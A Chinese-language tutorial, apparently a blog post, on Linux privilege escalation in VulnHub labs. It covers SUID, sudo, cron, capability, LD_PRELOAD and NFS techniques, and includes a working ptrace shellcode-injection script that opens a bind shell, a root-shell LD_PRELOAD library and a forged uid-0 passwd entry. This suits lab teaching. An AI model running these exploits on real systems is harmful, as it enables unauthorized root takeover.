linux权限提升

  看运行日志

  这里的cve漏洞也值得一试，但是重点是suid提权，我们看linpeas日志里面与suid相关的

  重点看红色的，特别是打了底色的，然后看看文件所有者。

  可以看到find的所有者是root，也就是说find会以root权限运行，疑问是怎么通过find命令提权，或者换一种方式问，怎么通过find命令执行命令或者带出shell窗口。

  这里有一个在线网站，辅助我们进行suid提权，“https://gtfobins.org/”，有什么用？它会告诉你哪些命令（比如find）怎么执行命令或者弹出shell。怎么使用？我们直接在上面搜

  可以看到，find命令可以弹出shell，命令也给出来了。我们直接输入命令即可。

  实际上这里是弹出了一个新的sh窗口。至此，提权成功。

  如果突发事故，linpeas无法运行怎么办？这时我们就需要手工进行信息收集，查看有哪些suid权限的文件，常用的四条收集命令如下

find / -user root -perm -4000 -print 2>/dev/nullfind / -perm -u=s -type f 2>/dev/nullfind / -user root -perm -4000 -exec ls -ldb {} \;find / -perm -g=s -type f 2>/dev/null

  同样推荐练习靶场：

https://www.vulnhub.com/entry/toppo-1,245/

SUDO提权

sudo提权分为两种，一种是配置问题，有些运维为了方便会将某个命令设置为某个用户可以直接使用sudo运行，不用文件所有者的密码(root密码)；另外一种是sudo自身的cve漏洞。具体看演示

  1、sudo配置问题，演示靶机：https://www.vulnhub.com/entry/toppo-1,245/，对，就是上面推荐的那个。

  开头依旧信息收集，依旧信息泄漏

  ssh登陆，用户名不是ted123就是ted，经过测试时ted

  我们直接手工收集信息，查看当前用户可以免密使用sudo执行哪些文件,以下两条命令可以收集

cat /etc/sudoerssudo -l

  可以看到有awk一条命令，去https://gtfobins.org/这个网站搜，就是那个suid提权辅助网站，我们也能拿来辅助sudo提权

  直接执行就完事了

  至此，提权成功。

2、sudo的cve漏洞

  cve漏洞我就不演示了，这其实是第一种提权方式的内容，linpeas也会检测，简单说一下sudo的历史cve漏洞。

     说白了，比较鸡肋

echo $PATH

  比如说有一个程序调用了系统命令但是没有写绝对路径，比如调用curl是写的curl而不是/usr/share/doc/curl(我不确定是不是啊，只是打个比方)，于是系统就会在系统变量里面查找，会按照PATH输出的文件夹里面从头开始查找curl所在文件并执行(比如上面图片里面的就是/usr/local/sbin->/usr/local/bin->/usr/sbin->/usr/bin->/sbin->/bin->/usr/local/games->/usr/games)，但是如果我们将自己写的curl写入环境变量里面的话，就会执行我们自己写的curl，如果不理解不要紧，我们看演示

Cron计划任务提权

在linux里面，cron计划任务里面的任务默认以最高权限执行，如果有哪个计划任务的执行文件我们能修改，那么我们就能进行提权。话不多说，开始演示，使用靶场：https://www.vulnhub.com/entry/jarbas-1,232/

  信息收集走起，得到线索jenkins后台账号密码

  登陆，是eder:vipsu，第三对

  登陆，创建任务，获取权限

  提权，先看看计划任务有什么，命令如下

cat /etc/crontab

  看看这个执行文件的相关权限

ls -lia /etc/script/CleaningScript.sh

  结果如下，我给大家解释一下，重点关注-rwxrwxrwx和root root这两部分，r代表读，w代表写，x代表执行，有三组，每一组有那个字符就代表有那种权限，第一组rwx代表文件所有者权限，第二组rwx代表文件所有组权限，第三组代表其他用户权限；第一个root代表文件所有者，第二个root代表文件所有组

844412 -rwxrwxrwx. 1 root root 50 Apr  1  2018 /etc/script/CleaningScript.sh

   可以看到其他用户拥有写权限，并且执行文件所有者是root，于是我们可以修改执行文件写入恶意代码

  静静等待文件被执行，每五分钟执行一次

  提权成功。其实还可以使用path劫持，大家可以试一下。

Capability提权

首先介绍一下什么是capability，你可以将它理解为suid的进化版本，suid是将用户所有者的全部权限权限交出而capability是将权限细分，比如什么程序拥有什么权限，所有capability有多种权限模式，给大家列出最容易造成提权的几种权限模式

CAP_SYS_ADMIN #使用mount挂载恶意文件系统，然后利用该文件系统里的恶意代码提权CAP_SETUID & CAP_SETGID  #将自己的用户ID和组ID切换为rootCAP_CHOWN #更改系统文件的所有者CAP_DAC_OVERRIDE #访问和修改任何文件CAP_SYS_MODULE #加载恶意的内核模块CAP_SYS_PTRACE #进程注入

  怎么看capability呢，命令如下，一个不行换另一个

/sbin/getcap -r / 2>/dev/nullgetcap -r / 2>/dev/null

  现在开始演示，演示靶机：https://www.vulnhub.com/entry/hacker-kid-101,719/

  怎么获取普通权限的我就不说了，直接看提权

  先看capability

  发现有一个python拥有cap_sys_ptrace能力，我们就能利用python注入root进程实现提权，先看看root进程

  挺多的，我们利用以下脚本进行进程注入

# inject.py# The C program provided at the GitHub Link given below can be used as a reference for writing the python script.# GitHub Link: https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c import ctypesimport sysimport struct# Macros defined in <sys/ptrace.h># https://code.woboq.org/qt5/include/sys/ptrace.h.htmlPTRACE_POKETEXT   = 4PTRACE_GETREGS    = 12PTRACE_SETREGS    = 13PTRACE_ATTACH     = 16PTRACE_DETACH     = 17# Structure defined in <sys/user.h># https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_structclass user_regs_struct(ctypes.Structure):    _fields_ = [            ("r15", ctypes.c_ulonglong),                    ("r14", ctypes.c_ulonglong),                    ("r13", ctypes.c_ulonglong),                    ("r12", ctypes.c_ulonglong),                    ("rbp", ctypes.c_ulonglong),                    ("rbx", ctypes.c_ulonglong),                    ("r11", ctypes.c_ulonglong),                    ("r10", ctypes.c_ulonglong),                    ("r9", ctypes.c_ulonglong),                    ("r8", ctypes.c_ulonglong),                    ("rax", ctypes.c_ulonglong),                    ("rcx", ctypes.c_ulonglong),                    ("rdx", ctypes.c_ulonglong),                    ("rsi", ctypes.c_ulonglong),                    ("rdi", ctypes.c_ulonglong),                    ("orig_rax", ctypes.c_ulonglong),                    ("rip", ctypes.c_ulonglong),                    ("cs", ctypes.c_ulonglong),                    ("eflags", ctypes.c_ulonglong),                    ("rsp", ctypes.c_ulonglong),                    ("ss", ctypes.c_ulonglong),                    ("fs_base", ctypes.c_ulonglong),                    ("gs_base", ctypes.c_ulonglong),                    ("ds", ctypes.c_ulonglong),                    ("es", ctypes.c_ulonglong),                    ("fs", ctypes.c_ulonglong),                    ("gs", ctypes.c_ulonglong),    ]libc = ctypes.CDLL("libc.so.6")pid=int(sys.argv[1])# Define argument type and respone type.libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]libc.ptrace.restype = ctypes.c_uint64# Attach to the processlibc.ptrace(PTRACE_ATTACH, pid, None, None)registers=user_regs_struct()# Retrieve the value stored in registerslibc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))print("Instruction Pointer: " + hex(registers.rip))print("Injecting Shellcode at: " + hex(registers.rip))# Shell code copied from exploit db.shellcode="\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"# Inject the shellcode into the running process byte by byte.for i in xrange(0,len(shellcode),4):  # Convert the byte to little endian.    shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)    shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')    shellcode_byte=int(shellcode_byte_little_endian,16)    # Inject the byte.    libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)print("Shellcode Injected!!")# Modify the instuction pointerregisters.rip=registers.rip+2# Set the registerslibc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))print("Final Instruction Pointer: " + hex(registers.rip))# Detach from the process.libc.ptrace(PTRACE_DETACH, pid, None, None)

  直接python inject.py 端口号

  这里失败了，我们就直接遍历所有端口号

for i in `ps -ef|grep root|grep -v "grep"|awk '{print $2}'`; do python2.7 python_cap_sys_ptrace.py $i; done

  总有一些进程是能注入的，然后我们连接对方的5600端口

  至此，提权成功。

历史日志文件查找

linpeas会自动查询，当然也可以手工看，就是比较麻烦，据了解，linpeas会查询~/.bash_history，~/.zsh_history，~/.sh_history，/root/.bash_history（如果有权限）等文件利用关键字匹配

以及什么是起手，ld_preload是是一个动态链接器环境变量，用于在程序运行前强制加载指定的共享库（.so），从而优先劫持/覆盖系统原有函数，就比如原本ls加载它默认的库，但是为ls设置了ld_preload后，ls会优先加载你设置的so文件。我在本地给大家演示

Defaults env_keep += LD_PRELOAD

指定用户名 ALL=(ALL) NOPASSWD: /usr/bin/vim

#include<stdio.h>#include<sys/types.h>#include<stdlib.h>#include<unistd.h>void __attribute__((constructor)) _init() {unsetenv("LD_PRELOAD");setgid(0);setuid(0);system("/bin/sh");}

gcc -fPIC -shared -o t.so t.c -nostartfiles

openssl passwd -1 123456

yueqian:$1$gsScV.jb$NaQjGTtNccPyBYkFQYNad0:0:0:root:/root:/bin/bash

NFS提权-结合SUID

最后再说一个吧(其实还有很多手法的)，利用nfs结合suid进行提权，nfs可以使计算机用户可以查看和选择存储和更新远程计算机上的文件，就像它们位于用户自己的计算机上一样，当nfs共享目录启用了 no_root_squash，那么客户端的 root = 服务端的 root。

  如果是这样的话，我们只需要再攻击机上面以root身份挂载对方的nfs目录，然后使用suid弹出shell窗口即可获取对方root权限。

1：查看 NFS 共享目录  showmount -e nfs服务器ip  如果看到有no_root_squash就可行2：在攻击机创建挂载点  mkdir nfs3：再攻击机上面挂载nfs  mount -t nfs nfs服务器ip:/tmp/nfs(共享目录) ./nfs(挂载目录)  或者  mount -o nolock nfs服务器ip:共享目录 。/mfs(挂载目录)4：在攻击机上生成suid  cp /bin/bash /tmp/nfs/rootbash  chmod +x /tmp/nfs/rootbash5：回到目标机器，使用rootbash执行的命令及root权限